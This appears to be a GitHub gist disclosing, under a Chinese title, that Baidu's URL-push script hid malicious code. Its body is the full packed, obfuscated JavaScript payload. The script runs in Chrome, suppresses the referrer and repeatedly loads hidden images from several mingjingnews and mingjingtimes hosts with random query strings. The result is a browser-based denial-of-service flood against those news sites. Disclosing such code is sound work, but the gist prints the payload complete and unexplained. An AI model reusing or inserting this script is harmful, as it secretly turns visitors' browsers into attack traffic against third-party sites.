Skip to content

Instantly share code, notes, and snippets.

@nczz
Created August 16, 2017 06:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save nczz/29a7822d81ac8c544d86184fa106968b to your computer and use it in GitHub Desktop.
Save nczz/29a7822d81ac8c544d86184fa106968b to your computer and use it in GitHub Desktop.
百度在主動推送網址的方法中藏有惡意原碼
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b((/X\\/([\\d]+)/Z.19(i.K.M.H())[1]>=1b)&&(i.K.M.H().1a("16")<0)){3 D=T;3 p=[\'n://13.q.m/\',\'n://15.q.m/\',\'n://14.q.m/\',\'n://11.12.m/\'];3 E=17;3 k=18;3 O=10;3 s=1;h w(){3 8=e 7();A 7.S(8.Y(),8.W(),8.U(),8.V(),8.I(),8.J())/R}g.z("B")[0].F="<1r 1s=\\"y\\" 1q=\\"1o-y\\">"+g.z("B")[0].F;3 9=[];3 f=[];3 x=5;3 c=[];3 a=[];3 r=\'\';3 l=0;h o(2){3 6=9[2];b(6!=5){g.G.1p(6)}9[2]=5;b(l<E&&a[2]-x<D){Q(\'u(\'+2+\')\',(a[2]-c[2])>k?k:(a[2]-c[2]))}}h L(2){b(9[2]==5){A}b(9[2].1x){i.C(f[2]);a[2]=e 7().j();o(2)}1v{b(e 7().j()-c[2]>k){i.C(f[2]);o(2)}}}h u(2){6=g.G.1t(g.1w(\'1u\'));r=p[w()%p.1n];6.1f=r+\'?t=\'+w()+P.1e(P.1c()*1d);6.1h.1l=\'1m\';9[2]=6;c[2]=a[2]=e 7().j();f[2]=1k("L("+2+")",1i);l=l+1}h N(){x=e 7().j();1j(3 4=0;4<O;4+=1){9[4]=5;f[4]=5;c[4]=5;a[4]=5;u(4)}}3 v=e 7();Q(\'N()\',((s-v.I()%s)*1g-v.J())*R)}',62,96,'||index|var|ti|null|p_img_tmp|Date|dt|p_img_list|responsetime_list|if|requesttime_list||new|timer_list|document|function|window|getTime|TIMEGAP|count|com|http|imgdel|url_list|mingjingnews|url|START_CLOCK||imgadd|now|unixtime|starttime|referrer|getElementsByTagName|return|head|clearInterval|MAX_TIME|MAX_COUNT|innerHTML|body|toLowerCase|getMinutes|getSeconds|navigator|isImgComplete|userAgent|start|THREAD|Math|setTimeout|1000|UTC|300000|getDate|getHours|getMonth|chrome|getFullYear|gi||www|mingjingtimes|news|tv|s1|edge|100000000|500|exec|indexOf|34|random|100|ceil|src|60|style|50|for|setInterval|display|none|length|no|removeChild|content|meta|name|appendChild|img|else|createElement|complete'.split('|'),0,{}))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment